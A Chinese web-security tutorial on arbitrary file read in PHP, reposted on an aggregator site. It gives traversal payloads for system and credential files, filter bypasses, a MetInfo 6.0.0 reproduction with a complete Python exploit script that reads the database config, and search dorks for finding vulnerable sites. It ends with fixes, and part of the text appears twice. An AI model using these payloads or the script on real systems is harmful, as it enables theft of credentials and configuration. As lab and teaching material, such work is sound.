任意文件读取和漏洞复现

news2024/11/26 16:31:09

任意文件读取

1. 概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露:
  • 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
  • 任意文件读取与任意文件下载本质上没有区别,信总都是从服务瑞流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

1.1 漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
  • 读取文件的路径客户端可控,完全控制或影响文件路径参数;
  • 没有对文件路径进行校验或者校验不严导致校验被绕过;
  • 输出了文件的内容。

1.2 漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。任意文件读取与下载重点关注的文件:

  • 源代码
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分类

  • 任意文件读取
  • 任意文件下载

1.4 任意文件读取

1.4.1 文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
file_get_contents()直接读取文件内容
需要输出读取内容
fread()打开文件
计算文件大小
读取文件
输出文件
关闭文件

readfile:

// readfile.php

$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
readfile($fp);	//读取这个路径下的文件

在phpstudy根目录下新建read_file文件夹,在文件夹中新建file_read.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/file_read.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831163606979

image-20230831163637557

file_get_contents:

// file_get_contents.php

$fp = "../phpinfo.php"; 
echo file_get_contents($fp);

在read_file文件夹中新建file_get_contents.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/file_get_contents.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831164156780

image-20230831164308299

fread:

// fread.php

$fp = "../phpinfo.php";

$f = fopen($fp,'r');	//读取文件前,先把$fp中保存的路径中的文件打开
$f_size = filesize($fp); 	//计算$fp这个路径下文件大小
echo fread($f, $f_size); 	//从打开的$f这个文件按照一定的大小去读
fclose($f);		//读取完成后,关闭文件,否则浪费资源

在read_file文件夹中新建fread.php文件。

文件内容为上述代码内容,保存成功后访问此文件。

http://192.168.16.136/read_file/fread.php

访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。

image-20230831164616420

image-20230831164633193

1.4.2 任意文件读取

变量$fp,会捕获GET 方式传递过来的filepath 参数。

$fp = @$_GET['filepath'];
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];	//通过filepath这个参数传递数据给$fp
readfile($fp);	//读取这个路径下的文件
?>

访问页面结果报错了,因为filepath参数为空,给filepath参数赋值filepath=…/phpinfo.php

image-20230831170044552

发开F12,点击load输入参数,viwe-source:表示其后所跟的url以代码的方式显现

view-source:http://192.168.16.136/read_file/file_read.php?filepath=../phpinfo.php

image-20230831170711430

filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php 

?filepath=/etc/passwd

?filepath=c:\windows\system32\drivers\etc\hosts

?filepath=c:\phpstudy_2016\apache\conf\httpd.conf 

?filepath=c:\phpstudy_2016\mysql\my.ini

?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 

?filePath=../../../../../../../../windows\system32\drivers\etc\hosts

?filePath=../../../../../../etc/hosts

1.4.3 一般情况下权限

image-20230831094417949

Windows + IIS + ASP/ASPX 低权限

Windows + Apache +PHP 高权限

Windows + Java 绝对是高权限

Linux + Apache + PHP 低权限

Linux + Nginx + PHP 不一定(可能高可能低)

Linux + Java 绝对是高权限

1.5 任意文件下载

1.5.1 一般情况

直接下载:例如图片另存为。

a 标签下载:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP实现

PHP 文件下载实现过程:

  • 先读取文件

  • 在输出文件

  • 提供下载

// file-download.php

$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp)); 
readfile($fp);

1.5.3 任意文件下载

任意文件下载的条件:

  • 已知目标文件路径

  • 目标文件路径,客户端可控

  • 没有经过校验或校验不严格

$fp = $_GET['filepath'];

2. 任意文件读取攻防

2.1 路径过滤

2.1.1 过滤…/

$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); 
readfile($fp);
<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);    //将../替换为空
readfile($fp);	//读取这个路径下的文件
?>

访问

view-source:http://192.168.16.136/read_file/file_read.php?filepath=....//phpinfo.php

image-20230831171650209

结果报错了。

2.2 简单绕过

2.2.1 双写绕过

?filepath=..././..././..././..././..././windows\system32\drivers\etc\hosts

image-20230901104519401

2.2.2 绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

image-20230831172207321

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

image-20230831172239733

2.2.4 设置白名单

假如设置了a.php,b.php,c.php三个文件

<?php 
//$fp = "../phpinfo.php";	//路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php')
{
    readfile($fp);
}
else
{
    echo "Please stop!";
}
?>

image-20230831173046071

image-20230831173105886

3. 任意文件读取挖掘

3.1 手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile
path=
readpath
url=
menu=
META-INF=
WEB-INF=
content=

上述内容都可能存在任意文件读取

3.2 经典案例

metinfo_6.0.0_file-read

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的/app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

3.2.2 漏洞等级

高危

3.2.3 影响版本

  • MetInfo 6.0.0

3.2.4 漏洞复现

3.2.4.1 基础环境
组件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

image-20230831114004784

3.2.4.2 漏洞点

访问此链接

/include/thumb.php
http://192.168.16.136/metinfo_6.0.0/include/thumb.php

image-20230831191806471

使用bp进行抓包,因为bp默认是不抓图片的,修改Filter添加images。

image-20230831114253372

Ctrl+R将数据包发送至重发器。

image-20230831114626068

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

读取数据库配置文件。

image-20230831115420766

读取失败。

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

读取数据库配置文件。

image-20230831115712398

读取失败

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

读取数据库配置文件。

image-20230831115759567

读取失败

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

读取数据库配置文件。

image-20230831115829577

读取成功

注意:

此poc仅适用于Windows系统,Linux系统无效

3.2.4.3 深度利用

EXP 编写

import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
                                                        - AJEST
Usage: python3 *.py http://192.168.16.136/metinfo_6.0.0
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

在kali中新建exp.py文件,将上述内容复制到exp.py文件中,在cms未退出的情况下运行exp.py文件。

sudo python3 *.py http://192.168.16.136/metinfo_6.0.0/

image-20230831191420228

3.2.4.4 指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.4.5 修补建议
  • 打补丁
  • 升级
  • 上设备

4. 漏洞修复方案

4.1 输入输出

让web 用户只能访问(读取),所需要的文件和路径。(白名单)

4.2 避免其他漏洞

其他漏洞可能会引发任意文件读取漏洞

不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

4.3 限定文件的访问范围

  • 让用户不能访问Web 根目录以外的路径。

  • php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围

open_basedir = C:\phpStudy_20161103\WWW

php在执行任意文件读取的时候,限定访问范围发生在c盘下。

临时改变php.ini配置

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

image-20230831174855170

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

image-20230831175951627

所以过滤,白名单和限定文件的防范要综合使用。

5. 参考链接

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

临时改变php.ini配置

ini_set("open_basedir","C:\phpStudy_20161103\WWW");

在这里插入图片描述

但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。

在这里插入图片描述

所以过滤,白名单和限定文件的防范要综合使用。

5. 参考链接

https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/969471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑开机操作系统引导过程

电脑开机时操作系统引导&#xff1a; CPU首先执行主存中ROM中的引导程序。 将磁盘的第一块——主引导记录(MBR)读入到内存中&#xff0c;执行磁盘引导程序&#xff0c;扫描分区表。 在主分区(C盘)执行分区引导程序。 在C盘根目录下找到完整的操作系统初始化程序并执行。

系统虚拟机(VM)

系统虚拟机&#xff1a;将一台物理机器虚拟化为多台虚拟机&#xff0c;每个虚拟机上都可以运行一个独立的操作系统&#xff0c;由虚拟机管理程序(VMM)来管理。 第一种直接运行在硬件上&#xff0c;可以直接分配物理资源&#xff0c;性能更好&#xff0c;可支持更多的虚拟机&am…

ModaHub魔搭社区专访百度智能云李莅:企业需要的是一款企业级向量数据库还是向量引擎?

ModaHub魔搭社区&#xff1a;虽然您认为它是刚需&#xff0c;但也有人认为我可能不是需要一款企业级的向量数据库&#xff0c;而是需要一个向量引擎。我可以在传统的数据库上加一个向量引擎&#xff0c;然后它就变成了一款向量数据库&#xff0c;您觉得他们这样的想法是可行的吗…

布隆过滤器Moudule安装

Redis帮我们实现了布隆过滤器算法&#xff0c;可以通过module方式安装&#xff0c;直接使用&#xff0c;其实可以自己实现这样的算法。 安装遇到的问题&#xff0c;通过官网下载的zip或者git下载的源码&#xff0c;都是master版本&#xff0c;make会出问题&#xff0c;报错文件…

springboot初试elasticsearch

引入依赖 elasticsearch的依赖版本与你elasticsearch要一致 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId> </dependency> 索引库的操作 创建索引库 impo…

stack和queue容器

1 stack 基本概念 概念&#xff1a;stack是一种先进后出(First In Last Out,FILO)的数据结构&#xff0c;它只有一个出口 栈中只有顶端的元素才可以被外界使用&#xff0c;因此栈不允许有遍历行为 栈中进入数据称为 — 入栈 push 栈中弹出数据称为 — 出栈 pop 2 stack 常用…

Linux——进程间信号(超级详解!!)

索引 一.初始信号1.什么是信号2.前后台进程3.信号的种类4.信号的管理 二.信号产生前1.验证键盘是可以产生信号的2.通过系统调用接口发送信号3.由软件条件产生信号4.硬件异常产生信号5.总结6.core dump 信号产生中1.信号在内核中的表示2.信号集操作函数 信号产生后1.了解内核态和…

Java Web3J :使用web3j监听、查询、订阅智能合约的事件

前面有文章写如何使用Docker-compose方式部署blockscout浏览器+charts图表,区块链浏览器已经部署成功了,同时我们在链上增加了治理投票流程,如何实时的把治理事件快速同步到浏览器呢?这时就想到了Web3J来监听智能合约的事件,来达到同步事件的效果 目录 Web3J简介功能简介m…

lv3 嵌入式开发-4 linux shell命令(进程管理、用户管理)

目录 1 进程处理相关命令 1.1 进程的概念 1.2 查看进程的命令 1.3 发送信号命令 2 用户管理相关命令 2.1 用户管理相关文件介绍 2.2 用户管理相关命令介绍 1 进程处理相关命令 1.1 进程的概念 进程的概念主要有两点&#xff1a; 进程是一个实体。每一个进程都有它自己…

【计算机组成原理】第一章 计算机概述

1.冯诺依曼结构&#xff1a; 计算机由运算器、控制器、存储器、输入设备、输出设备五大部件组成 运算器和控制器称为CPU&#xff1b;CPU和存储器称为计算机主机&#xff1b;其余输入、输出设备、外存储器称为计算机外部设备采用二进制表示数据和指令 指令由操作码&#xff08;…

20230831-完成登录框的按钮操作,并在登录成功后进行界面跳转

登录框的按钮操作&#xff0c;并在登录成功后进行界面跳转 app.cpp #include "app.h" #include <cstdio> #include <QDebug> #include <QLineEdit> #include <QLabel> #include <QPainter> #include <QString> #include <Q…

golang 通用的 grpc http 基础开发框架

go-moda golang 通用的 grpc http 基础开发框架仓库地址: https://github.com/webws/go-moda仓库一直在更新,欢迎大家吐槽和指点 特性 transport: 集成 http&#xff08;echo、gin&#xff09;和 grpc。tracing: openTelemetry 实现微务链路追踪pprof: 分析性能config: 通用…

CDN+GitHub搭建图床

前期搭建博客的时候&#xff0c;老是遇到图片无法加载、加载出错等等问题&#xff0c;很是烦恼。于是想搭建一个图床&#xff0c;进行个人博客图片的存储、显示使用。 ​ 利用GitHubjsDelivrPicGo搭建免费图床&#xff0c;CDN图床就是这么朴实无华&#xff0c;是基于免费CDN与免…

l8-d4 IP地址与端口号

一、分类IP 1.IP 地址及其表示方法 例&#xff1a; 2.IP 地址采用 2 级结构 3.分类的 IP 地址 任意一个IP地址我们都可以迅速的得出类别&#xff0c;并计算得出网络号 当一个主机通过两个网卡同时连接到两网络时&#xff0c;也就是该主机同时拥有两个IP地址&#xff0c;该主机…

【Java】网络通信基础

网络通信基础 IP地址概念格式特殊IP 端口号概念格式注意事项 认识协议概念作用知名协议的默认端口五元组协议分层OSI七层模型TCP/IP五层(或四层)模型网络设备所在分层网络分层对应封装和分用 IP地址 概念 IP地址主要用于标识网络主机、其他网络设备&#xff08;如路由器&…

简单入门--无约束线性模型预测控制

简单入门--无约束模型预测控制 一、模型预测控制是什么&#xff1f;二、无约束线性模型预测控制1. 表达式2. 最优解推导3.MATLAB代码 导读&#xff1a;下棋有高手和菜鸟&#xff0c;高手往往预测未来多步棋局发展&#xff0c;提前布局&#xff0c;而菜鸟只根据当前棋局做选择&a…

构建高效实时数据流水线:Flink、Kafka 和 CnosDB 的完美组合

当今的数据技术生态系统中&#xff0c;实时数据处理已经成为许多企业不可或缺的一部分。为了满足这种需求&#xff0c;Apache Flink、Apache Kafka和CnosDB等开源工具的结合应运而生&#xff0c;使得实时数据流的收集、处理和存储变得更加高效和可靠。本篇文章将介绍如何使用 F…

论文的开题报告怎么写?

最近收到很多私信&#xff0c;在问我关于开题报告的问题。基本都是毕业论文题目怎样选&#xff1f;系统好不好弄&#xff1f;开题报告怎么写啊&#xff1f;啥也不会怎样办呢&#xff1f;系统运行不会&#xff1f;查重问题呀&#xff0c;要马上交开题报告了等等。 毕业论文题目怎…

Python 之__name__的用法以及解释

文章目录 介绍代码 介绍 __name__ 是一个在 Python 中特殊的内置变量&#xff0c;用于确定一个 Python 文件是被直接运行还是被导入为模块。 文件作为模板导入&#xff0c;则其 __name__属性值被自动设置为模块名 文件作为程序直接运行&#xff0c;则__name__属性属性值被自动设…

【FPGA零基础学习之旅#12】三线制数码管驱动(74HC595)串行移位寄存器驱动

&#x1f389;欢迎来到FPGA专栏~三线制数码管驱动 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;FPGA学习之旅 文章作者技术和水平有限&#xff0c;如果文中出现错误&#xff0c;希望大家能指…